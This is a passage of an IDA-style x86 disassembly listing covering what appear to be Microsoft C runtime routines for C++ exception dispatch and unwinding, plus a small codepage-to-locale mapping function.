XREF: sub_41C5A4+10j ; sub_41C5A4+24j ... xor eax, eax pop esi retn sub_41C5A4 endp ; =============== S U B R O U T I N E ======================================= sub_41C62C proc near ; CODE XREF: sub_4178A4+3Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 jz short locret_41C655 push esi mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_41C654 push esi call sub_41AEDC and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx loc_41C654: ; CODE XREF: sub_41C62C+10j pop esi locret_41C655: ; CODE XREF: sub_41C62C+5j retn sub_41C62C endp ; =============== S U B R O U T I N E ======================================= sub_41C656 proc near ; CODE XREF: sub_41CC3D+138p arg_0 = dword ptr 4 mov eax, [esi+4] test eax, eax jz short loc_41C6A1 lea edx, [eax+8] cmp byte ptr [edx], 0 jz short loc_41C6A1 mov ecx, [edi+4] cmp eax, ecx jz short loc_41C67C add ecx, 8 push ecx push edx call sub_41EE30 test eax, eax pop ecx pop ecx jnz short loc_41C69E loc_41C67C: ; CODE XREF: sub_41C656+14j test byte ptr [edi], 2 jz short loc_41C686 test byte ptr [esi], 8 jz short loc_41C69E loc_41C686: ; CODE XREF: sub_41C656+29j mov eax, [esp+arg_0] mov eax, [eax] test al, 1 jz short loc_41C695 test byte ptr [esi], 1 jz short loc_41C69E loc_41C695: ; CODE XREF: sub_41C656+38j test al, 2 jz short loc_41C6A1 test byte ptr [esi], 2 jnz short loc_41C6A1 loc_41C69E: ; CODE XREF: sub_41C656+24j ; sub_41C656+2Ej ... xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C6A1: ; CODE XREF: sub_41C656+5j ; sub_41C656+Dj ... xor eax, eax inc eax retn sub_41C656 endp ; =============== S U B R O U T I N E ======================================= sub_41C6A5 proc near ; CODE XREF: sub_41C6C3+76p mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_41C6B2 xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C6B2: ; CODE XREF: sub_41C6A5+8j call sub_4191CF and dword ptr [eax+80h], 0 jmp sub_41CEC1 sub_41C6A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C6C3 proc near ; CODE XREF: sub_41C7F3+117p ; sub_41CB16+31p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push 10h push offset stru_42C598 call __SEH_prolog mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi call sub_4191CF add eax, 80h inc dword ptr [eax] and [ebp+ms_exc.disabled], 0 mov edi, [ebp+arg_8] loc_41C6EB: ; CODE XREF: sub_41C6C3+8Fj cmp esi, [ebp+arg_C] jz short loc_41C754 cmp esi, 0FFFFFFFFh jle short loc_41C6FA cmp esi, [edi+4] jl short loc_41C6FF loc_41C6FA: ; CODE XREF: sub_41C6C3+30j call sub_41CEF6 loc_41C6FF: ; CODE XREF: sub_41C6C3+35j mov eax, esi shl eax, 3 mov ecx, [edi+8] add ecx, eax mov esi, [ecx] mov [ebp+var_20], esi mov [ebp+ms_exc.disabled], 1 cmp dword ptr [ecx+4], 0 jz short loc_41C730 mov [ebx+8], esi push 103h push ebx mov ecx, [edi+8] push dword ptr [ecx+eax+4] call sub_41CF30 loc_41C730: ; CODE XREF: sub_41C6C3+56j and [ebp+ms_exc.disabled], 0 jmp short loc_41C74F ; --------------------------------------------------------------------------- loc_41C736: ; DATA XREF: .text:0042C5A8o mov eax, [ebp+ms_exc.exc_ptr] call sub_41C6A5 retn ; --------------------------------------------------------------------------- loc_41C73F: ; DATA XREF: .text:0042C5ACo mov esp, [ebp+ms_exc.old_esp] and [ebp+ms_exc.disabled], 0 mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_20] loc_41C74F: ; CODE XREF: sub_41C6C3+71j mov [ebp+var_1C], esi jmp short loc_41C6EB ; --------------------------------------------------------------------------- loc_41C754: ; CODE XREF: sub_41C6C3+2Bj or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_41C776 cmp esi, [ebp+arg_C] jz short loc_41C767 call sub_41CEF6 loc_41C767: ; CODE XREF: sub_41C6C3+9Dj mov [ebx+8], esi call __SEH_epilog retn sub_41C6C3 endp ; =============== S U B R O U T I N E ======================================= sub_41C770 proc near ; DATA XREF: .text:stru_42C598o mov ebx, [ebp+8] mov esi, [ebp-1Ch] sub_41C770 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41C776 proc near ; CODE XREF: sub_41C6C3+95p call sub_4191CF cmp dword ptr [eax+80h], 0 jle short locret_41C790 call sub_4191CF add eax, 80h dec dword ptr [eax] locret_41C790: ; CODE XREF: sub_41C776+Cj retn sub_41C776 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C791 proc near ; CODE XREF: sub_41C936+5Cp ; sub_41CC3D+1A8p ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 8 push offset stru_42C5B0 call __SEH_prolog mov eax, [ebp+arg_0] test eax, eax jz short loc_41C7BF mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_41C7BF and [ebp+ms_exc.disabled], 0 push ecx push dword ptr [eax+18h] call sub_417A2A or [ebp+ms_exc.disabled], 0FFFFFFFFh loc_41C7BF: ; CODE XREF: sub_41C791+11j ; sub_41C791+1Bj call __SEH_epilog retn sub_41C791 endp ; =============== S U B R O U T I N E ======================================= sub_41C7C5 proc near ; DATA XREF: .text:stru_42C5B0o xor eax, eax cmp [ebp+0Ch], al setnz al retn sub_41C7C5 endp ; --------------------------------------------------------------------------- loc_41C7CE: ; DATA XREF: .text:stru_42C5B0o mov esp, [ebp-18h] jmp sub_41CEC1 ; =============== S U B R O U T I N E ======================================= sub_41C7D6 proc near ; CODE XREF: sub_41C99A+7Cp ; sub_41C99A+FBp ... mov edx, [ecx+4] push esi mov esi, eax mov eax, [ecx] add eax, esi test edx, edx jl short loc_41C7F1 mov ecx, [ecx+8] mov esi, [edx+esi] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_41C7F1: ; CODE XREF: sub_41C7D6+Cj pop esi retn sub_41C7D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C7F3 proc near ; CODE XREF: sub_41CB16+52p var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch ; FUNCTION CHUNK AT 0041C92D SIZE 00000003 BYTES push 40h push offset stru_42C5C0 call __SEH_prolog mov ebx, ecx mov edi, [ebp+arg_4] mov esi, [ebp+arg_0] mov [ebp+var_1C], ebx and [ebp+var_20], 0 mov eax, [edi-4] mov [ebp+var_24], eax push dword ptr [esi+18h] lea eax, [ebp+var_2C] push eax call sub_417BC8 pop ecx pop ecx mov [ebp+var_30], eax call sub_4191CF mov eax, [eax+78h] mov [ebp+var_34], eax call sub_4191CF mov eax, [eax+7Ch] mov [ebp+var_38], eax call sub_4191CF mov [eax+78h], esi call sub_4191CF mov ecx, [ebp+arg_8] mov [eax+7Ch], ecx and [ebp+ms_exc.disabled], 0 mov [ebp+ms_exc.disabled], 1 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+arg_C] push edi call sub_417C5D add esp, 14h mov [ebp+var_1C], eax and [ebp+ms_exc.disabled], 0 jmp loc_41C91B ; --------------------------------------------------------------------------- loc_41C878: ; DATA XREF: .text:0042C5D0o mov eax, [ebp+ms_exc.exc_ptr] mov eax, [eax] mov [ebp+var_3C], eax mov eax, [ebp+var_3C] cmp dword ptr [eax], 0E06D7363h jnz short loc_41C8B0 mov eax, [ebp+var_3C] cmp dword ptr [eax+10h], 3 jnz short loc_41C8B0 mov eax, [ebp+var_3C] cmp dword ptr [eax+14h], 19930520h jnz short loc_41C8B0 mov eax, [ebp+var_3C] cmp dword ptr [eax+1Ch], 0 mov [ebp+var_40], 1 jz short loc_41C8B7 loc_41C8B0: ; CODE XREF: sub_41C7F3+96j ; sub_41C7F3+9Fj ... mov [ebp+var_40], 0 loc_41C8B7: ; CODE XREF: sub_41C7F3+BBj mov eax, [ebp+var_40] retn ; --------------------------------------------------------------------------- loc_41C8BB: ; DATA XREF: .text:0042C5D4o mov esp, [ebp+ms_exc.old_esp] mov ecx, [ebp+arg_C] mov eax, [ecx+8] mov [ebp+var_44], eax mov edi, [ebp+arg_4] mov eax, [edi+8] mov [ebp+var_48], eax mov edx, [ecx+10h] mov [ebp+var_4C], edx xor edx, edx loc_41C8D8: ; CODE XREF: sub_41C7F3+13Bj mov [ebp+var_50], edx cmp edx, [ecx+0Ch] jnb short loc_41C904 lea esi, [edx+edx*4] mov ebx, [ebp+var_4C] lea esi, [ebx+esi*4] mov ebx, [esi+4] cmp eax, ebx jle short loc_41C92D cmp eax, [esi+8] jg short loc_41C92D lea eax, [ebx+1] mov [ebp+var_48], eax mov edx, [ebp+var_44] mov eax, [edx+eax*8] mov [ebp+var_48], eax loc_41C904: ; CODE XREF: sub_41C7F3+EBj push eax push ecx xor esi, esi push esi push edi call sub_41C6C3 add esp, 10h mov [ebp+var_1C], esi mov [ebp+ms_exc.disabled], esi mov esi, [ebp+arg_0] loc_41C91B: ; CODE XREF: sub_41C7F3+80j or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_41C936 mov eax, [ebp+var_1C] call __SEH_epilog retn sub_41C7F3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41C7F3 loc_41C92D: ; CODE XREF: sub_41C7F3+FBj ; sub_41C7F3+100j inc edx jmp short loc_41C8D8 ; END OF FUNCTION CHUNK FOR sub_41C7F3 ; =============== S U B R O U T I N E ======================================= sub_41C930 proc near ; DATA XREF: .text:stru_42C5C0o mov edi, [ebp+0Ch] mov esi, [ebp+8] sub_41C930 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41C936 proc near ; CODE XREF: sub_41C7F3+12Cp mov eax, [ebp-24h] mov [edi-4], eax push dword ptr [ebp-30h] call sub_417C11 pop ecx call sub_4191CF mov ecx, [ebp-34h] mov [eax+78h], ecx call sub_4191CF mov ecx, [ebp-38h] mov [eax+7Ch], ecx cmp dword ptr [esi], 0E06D7363h jnz short locret_41C999 cmp dword ptr [esi+10h], 3 jnz short locret_41C999 cmp dword ptr [esi+14h], 19930520h jnz short locret_41C999 cmp dword ptr [ebp-20h], 0 jnz short locret_41C999 cmp dword ptr [ebp-1Ch], 0 jz short locret_41C999 push dword ptr [esi+18h] call sub_417BF0 pop ecx test eax, eax jz short locret_41C999 call sub_417E0A push eax push esi call sub_41C791 pop ecx pop ecx locret_41C999: ; CODE XREF: sub_41C936+2Bj ; sub_41C936+31j ... retn sub_41C936 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C99A proc near ; CODE XREF: sub_41CB16+Dp ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push 8 push offset stru_42C5D8 call __SEH_prolog mov esi, ecx mov eax, [ebp+arg_4] mov edi, edx mov ebx, [ebp+arg_0] mov ecx, [eax+4] test ecx, ecx jz loc_41CB04 cmp byte ptr [ecx+8], 0 jz loc_41CB04 mov ecx, [eax+8] test ecx, ecx jnz short loc_41C9D6 test byte ptr [eax+3], 80h jz loc_41CB04 loc_41C9D6: ; CODE XREF: sub_41C99A+30j mov eax, [eax] test eax, eax js short loc_41C9E0 lea edi, [ecx+edi+0Ch] loc_41C9E0: ; CODE XREF: sub_41C99A+40j and [ebp+ms_exc.disabled], 0 push 1 push dword ptr [ebx+18h] test al, 8 jz short loc_41CA22 call sub_42070D pop ecx pop ecx test eax, eax jz loc_41CAFB push 1 push edi call sub_420729 pop ecx pop ecx test eax, eax jz loc_41CAFB mov eax, [ebx+18h] mov [edi], eax loc_41CA13: ; CODE XREF: sub_41C99A+D1j lea ecx, [esi+8] call sub_41C7D6 mov [edi], eax jmp loc_41CB00 ; --------------------------------------------------------------------------- loc_41CA22: ; CODE XREF: sub_41C99A+51j test byte ptr [esi], 1 jz short loc_41CA6D call sub_42070D pop ecx pop ecx test eax, eax jz loc_41CAFB push 1 push edi call sub_420729 pop ecx pop ecx test eax, eax jz loc_41CAFB push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_41F060 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_41CB00 mov eax, [edi] test eax, eax jz loc_41CB00 jmp short loc_41CA13 ; --------------------------------------------------------------------------- loc_41CA6D: ; CODE XREF: sub_41C99A+8Bj cmp dword ptr [esi+18h], 0 jnz short loc_41CAA6 call sub_42070D pop ecx pop ecx test eax, eax jz short loc_41CAFB push 1 push edi call sub_420729 pop ecx pop ecx test eax, eax jz short loc_41CAFB push dword ptr [esi+14h] lea ecx, [esi+8] mov eax, [ebx+18h] call sub_41C7D6 push eax push edi call sub_41F060 add esp, 0Ch jmp short loc_41CB00 ; --------------------------------------------------------------------------- loc_41CAA6: ; CODE XREF: sub_41C99A+D7j call sub_42070D pop ecx pop ecx test eax, eax jz short loc_41CAFB push 1 push edi call sub_420729 pop ecx pop ecx test eax, eax jz short loc_41CAFB push dword ptr [esi+18h] call sub_420745 pop ecx test eax, eax jz short loc_41CAFB mov eax, [ebx+18h] lea ecx, [esi+8] test byte ptr [esi], 4 jz short loc_41CAEA push 1 call sub_41C7D6 push eax push dword ptr [esi+18h] push edi call sub_417A2A jmp short loc_41CB00 ; --------------------------------------------------------------------------- loc_41CAEA: ; CODE XREF: sub_41C99A+13Bj call sub_41C7D6 push eax push dword ptr [esi+18h] push edi call sub_417A2A jmp short loc_41CB00 ; --------------------------------------------------------------------------- loc_41CAFB: ; CODE XREF: sub_41C99A+5Cj ; sub_41C99A+6Ej ... call sub_41CEF6 loc_41CB00: ; CODE XREF: sub_41C99A+83j ; sub_41C99A+C1j ... or [ebp+ms_exc.disabled], 0FFFFFFFFh loc_41CB04: ; CODE XREF: sub_41C99A+1Bj ; sub_41C99A+25j ... call __SEH_epilog retn sub_41C99A endp ; =============== S U B R O U T I N E ======================================= sub_41CB0A proc near ; DATA XREF: .text:stru_42C5D8o xor eax, eax inc eax retn sub_41CB0A endp ; --------------------------------------------------------------------------- loc_41CB0E: ; DATA XREF: .text:stru_42C5D8o mov esp, [ebp-18h] jmp sub_41CEC1 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CB16 proc near ; CODE XREF: sub_41CB7D+A2p ; sub_41CC3D+17Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp test ecx, ecx jz short loc_41CB2A push ebx push [ebp+arg_0] mov edx, esi call sub_41C99A pop ecx pop ecx loc_41CB2A: ; CODE XREF: sub_41CB16+5j cmp [ebp+arg_14], 0 push [ebp+arg_0] jnz short loc_41CB36 push esi jmp short loc_41CB39 ; --------------------------------------------------------------------------- loc_41CB36: ; CODE XREF: sub_41CB16+1Bj push [ebp+arg_14] loc_41CB39: ; CODE XREF: sub_41CB16+1Ej call sub_417A31 push dword ptr [edi] push [ebp+arg_C] push [ebp+arg_8] push esi call sub_41C6C3 mov eax, [edi+4] push 100h push [ebp+arg_10] inc eax push [ebp+arg_C] mov [esi+8], eax push [ebp+arg_4] mov ecx, [ebx+0Ch] push esi push [ebp+arg_0] call sub_41C7F3 add esp, 28h test eax, eax jz short loc_41CB7B push esi push eax call sub_4179FA loc_41CB7B: ; CODE XREF: sub_41CB16+5Cj pop ebp retn sub_41CB16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CB7D proc near ; CODE XREF: sub_41CC3D+1D3p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx push esi mov esi, [ebp+arg_0] cmp dword ptr [esi], 80000003h jz loc_41CC3A call sub_4191CF cmp dword ptr [eax+74h], 0 jz short loc_41CBBC push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_417CAE add esp, 1Ch test eax, eax jnz short loc_41CC3A loc_41CBBC: ; CODE XREF: sub_41CB7D+1Ej mov esi, [ebp+arg_14] push edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push esi push [ebp+arg_18] push [ebp+arg_10] call sub_417B4E mov edi, eax mov eax, [ebp+var_4] add esp, 14h cmp eax, [ebp+var_8] jnb short loc_41CC39 push ebx loc_41CBE2: ; CODE XREF: sub_41CB7D+B9j cmp esi, [edi] jl short loc_41CC2A cmp esi, [edi+4] jg short loc_41CC2A mov eax, [edi+0Ch] mov ecx, [edi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_41CC03 cmp byte ptr [ecx+8], 0 jnz short loc_41CC2A loc_41CC03: ; CODE XREF: sub_41CB7D+7Ej mov esi, [ebp+arg_4] push 1 push [ebp+arg_1C] lea ebx, [eax-10h] push [ebp+arg_18] xor ecx, ecx push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_0] call sub_41CB16 mov esi, [ebp+arg_14] add esp, 1Ch loc_41CC2A: ; CODE XREF: sub_41CB7D+67j ; sub_41CB7D+6Cj ... inc [ebp+var_4] mov eax, [ebp+var_4] add edi, 14h cmp eax, [ebp+var_8] jb short loc_41CBE2 pop ebx loc_41CC39: ; CODE XREF: sub_41CB7D+62j pop edi loc_41CC3A: ; CODE XREF: sub_41CB7D+Fj ; sub_41CB7D+3Dj pop esi leave retn sub_41CB7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CC3D proc near ; CODE XREF: sub_41CE1F+93p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 24h mov eax, [ebp+arg_4] mov eax, [eax+8] and byte ptr [ebp+var_1C], 0 cmp eax, 0FFFFFFFFh mov [ebp+var_18], eax jl short loc_41CC5D mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_41CC62 loc_41CC5D: ; CODE XREF: sub_41CC3D+16j call sub_41CEF6 loc_41CC62: ; CODE XREF: sub_41CC3D+1Ej push ebx mov ebx, [ebp+arg_0] cmp dword ptr [ebx], 0E06D7363h push esi push edi jnz loc_41CDF4 cmp dword ptr [ebx+10h], 3 mov edi, 19930520h jnz short loc_41CCEE cmp [ebx+14h], edi jnz short loc_41CCEE cmp dword ptr [ebx+1Ch], 0 jnz short loc_41CCEE call sub_4191CF cmp dword ptr [eax+78h], 0 jz loc_41CDEC call sub_4191CF mov esi, [eax+78h] mov [ebp+arg_0], esi call sub_4191CF mov eax, [eax+7Ch] push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_1C], 1 call sub_42070D test eax, eax pop ecx pop ecx jnz short loc_41CCC6 call sub_41CEF6 loc_41CCC6: ; CODE XREF: sub_41CC3D+82j cmp dword ptr [esi], 0E06D7363h jnz loc_41CDF1 mov eax, [ebp+arg_0] cmp dword ptr [eax+10h], 3 jnz short loc_41CCEB cmp [eax+14h], edi jnz short loc_41CCEB cmp dword ptr [eax+1Ch], 0 jnz short loc_41CCEB call sub_41CEF6 loc_41CCEB: ; CODE XREF: sub_41CC3D+9Cj ; sub_41CC3D+A1j ... mov ebx, [ebp+arg_0] loc_41CCEE: ; CODE XREF: sub_41CC3D+40j ; sub_41CC3D+45j ... cmp dword ptr [ebx], 0E06D7363h jnz loc_41CDF4 cmp dword ptr [ebx+10h], 3 jnz loc_41CDF4 cmp [ebx+14h], edi jnz loc_41CDF4 mov esi, [ebp+var_18] lea eax, [ebp+var_20] push eax lea eax, [ebp+var_8] push eax push esi push [ebp+arg_18] push [ebp+arg_10] call sub_417B4E mov ecx, [ebp+var_8] add esp, 14h cmp ecx, [ebp+var_20] mov [ebp+var_4], eax jnb loc_41CDDC jmp short loc_41CD3B ; --------------------------------------------------------------------------- loc_41CD38: ; CODE XREF: sub_41CC3D+199j mov esi, [ebp+var_18] loc_41CD3B: ; CODE XREF: sub_41CC3D+F9j cmp [eax], esi jg loc_41CDC7 cmp esi, [eax+4] jg short loc_41CDC7 mov ecx, [eax+0Ch] test ecx, ecx mov esi, [eax+10h] mov [ebp+var_14], ecx jle short loc_41CDC7 loc_41CD55: ; CODE XREF: sub_41CC3D+15Bj mov ecx, [ebx+1Ch] mov ecx, [ecx+0Ch] lea edx, [ecx+4] mov ecx, [ecx] test ecx, ecx mov [ebp+var_C], edx mov [ebp+var_10], ecx jle short loc_41CD8E loc_41CD6A: ; CODE XREF: sub_41CC3D+14Cj mov eax, [ebp+var_C] mov edi, [eax] push dword ptr [ebx+1Ch] mov [ebp+var_24], edi call sub_41C656 test eax, eax pop ecx jnz short loc_41CD9C dec [ebp+var_10] add [ebp+var_C], 4 cmp [ebp+var_10], eax jg short loc_41CD6A mov eax, [ebp+var_4] loc_41CD8E: ; CODE XREF: sub_41CC3D+12Bj dec [ebp+var_14] add esi, 10h cmp [ebp+var_14], 0 jg short loc_41CD55 jmp short loc_41CDC7 ; --------------------------------------------------------------------------- loc_41CD9C: ; CODE XREF: sub_41CC3D+140j push [ebp+var_1C] mov edi, [ebp+var_4] push [ebp+arg_1C] mov ecx, [ebp+var_24] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push ebx mov ebx, esi mov esi, [ebp+arg_4] call sub_41CB16 mov ebx, [ebp+arg_0] add esp, 1Ch mov eax, edi loc_41CDC7: ; CODE XREF: sub_41CC3D+100j ; sub_41CC3D+109j ... inc [ebp+var_8] mov ecx, [ebp+var_8] add eax, 14h cmp ecx, [ebp+var_20] mov [ebp+var_4], eax jb loc_41CD38 loc_41CDDC: ; CODE XREF: sub_41CC3D+F3j cmp [ebp+arg_14], 0 jz short loc_41CDEC push 1 push ebx call sub_41C791 pop ecx pop ecx loc_41CDEC: ; CODE XREF: sub_41CC3D+56j ; sub_41CC3D+1A3j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41CDF1: ; CODE XREF: sub_41CC3D+8Fj mov ebx, [ebp+arg_0] loc_41CDF4: ; CODE XREF: sub_41CC3D+31j ; sub_41CC3D+B7j ... cmp [ebp+arg_14], 0 jnz short loc_41CE1A push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push ebx call sub_41CB7D add esp, 20h jmp short loc_41CDEC ; --------------------------------------------------------------------------- loc_41CE1A: ; CODE XREF: sub_41CC3D+1BBj jmp sub_41CEC1 sub_41CC3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CE1F proc near ; CODE XREF: .text:00417AA4p ; .text:00417AD4p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] mov eax, [esi] push edi and eax, 1FFFFFFFh mov edi, 19930520h cmp eax, edi jz short loc_41CE3C call sub_41CEF6 loc_41CE3C: ; CODE XREF: sub_41CE1F+16j mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_41CE64 cmp dword ptr [esi+4], 0 jz short loc_41CEBA cmp [ebp+arg_14], 0 jnz short loc_41CEBA push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_41C6C3 add esp, 10h jmp short loc_41CEBA ; --------------------------------------------------------------------------- loc_41CE64: ; CODE XREF: sub_41CE1F+24j cmp dword ptr [esi+0Ch], 0 jz short loc_41CEBA cmp dword ptr [eax], 0E06D7363h jnz short loc_41CE9E cmp [eax+14h], edi jbe short loc_41CE9E mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_41CE9E movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_41CEBD ; --------------------------------------------------------------------------- loc_41CE9E: ; CODE XREF: sub_41CE1F+51j ; sub_41CE1F+56j ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_41CC3D add esp, 20h loc_41CEBA: ; CODE XREF: sub_41CE1F+2Aj ; sub_41CE1F+30j ... xor eax, eax inc eax loc_41CEBD: ; CODE XREF: sub_41CE1F+7Dj pop edi pop esi pop ebp retn sub_41CE1F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CEC1 proc near ; CODE XREF: sub_41C6A5+19j ; .text:0041C7D1j ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 0042075D SIZE 00000018 BYTES push 8 push offset stru_42C5E8 call __SEH_prolog call sub_4191CF cmp dword ptr [eax+6Ch], 0 jz short loc_41CEF1 and [ebp+ms_exc.disabled], 0 call sub_4191CF call dword ptr [eax+6Ch] jmp short loc_41CEED ; --------------------------------------------------------------------------- loc_41CEE6: ; DATA XREF: .text:stru_42C5E8o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_41CEEA: ; DATA XREF: .text:stru_42C5E8o mov esp, [ebp+ms_exc.old_esp] loc_41CEED: ; CODE XREF: sub_41CEC1+23j or [ebp+ms_exc.disabled], 0FFFFFFFFh loc_41CEF1: ; CODE XREF: sub_41CEC1+15j jmp loc_42075D sub_41CEC1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CEF6 proc near ; CODE XREF: sub_417B4E+23p ; sub_417B4E:loc_417BB8p ... ms_exc = CPPEH_RECORD ptr -18h push 8 push offset stru_42C5F8 call __SEH_prolog mov eax, off_432A70 test eax, eax jz short loc_41CF1E and [ebp+ms_exc.disabled], 0 call eax ; sub_41CEC1 jmp short loc_41CF1A ; --------------------------------------------------------------------------- loc_41CF13: ; DATA XREF: .text:stru_42C5F8o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_41CF17: ; DATA XREF: .text:stru_42C5F8o mov esp, [ebp+ms_exc.old_esp] loc_41CF1A: ; CODE XREF: sub_41CEF6+1Bj or [ebp+ms_exc.disabled], 0FFFFFFFFh loc_41CF1E: ; CODE XREF: sub_41CEF6+13j jmp sub_41CEC1 sub_41CEF6 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CF30 proc near ; CODE XREF: sub_417C5D+3Dp ; sub_41C6C3+68p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_417E2D push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_41CF6F mov ecx, 2 loc_41CF6F: ; CODE XREF: sub_41CF30+38j push ecx call sub_417E2D pop ebp pop ecx pop ebx leave retn 0Ch sub_41CF30 endp ; =============== S U B R O U T I N E ======================================= sub_41CF7C proc near ; CODE XREF: sub_41D1D5+FFp ; sub_41D1D5+149p sub eax, 3A4h jz short loc_41CFA5 sub eax, 4 jz short loc_41CF9F sub eax, 0Dh jz short loc_41CF99 dec eax jz short loc_41CF93 xor eax, eax retn ; --------------------------------------------------------------------------- loc_41CF93: ; CODE XREF: sub_41CF7C+12j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_41CF99: ; CODE XREF: sub_41CF7C+Fj mov eax, 412h retn ; --------------------------------------------------------------------------- loc_41CF9F: ; CODE XREF: sub_41CF7C+Aj mov eax, 804h retn ; --------------------------------------------------------------------------- loc_41CFA5: ; CODE XREF: sub_41CF7C+5j mov eax, 411h retn sub_41CF7C endp ; =============== S U B R O U T I N E ======================================= sub_41CFAB proc near ; CODE XREF: 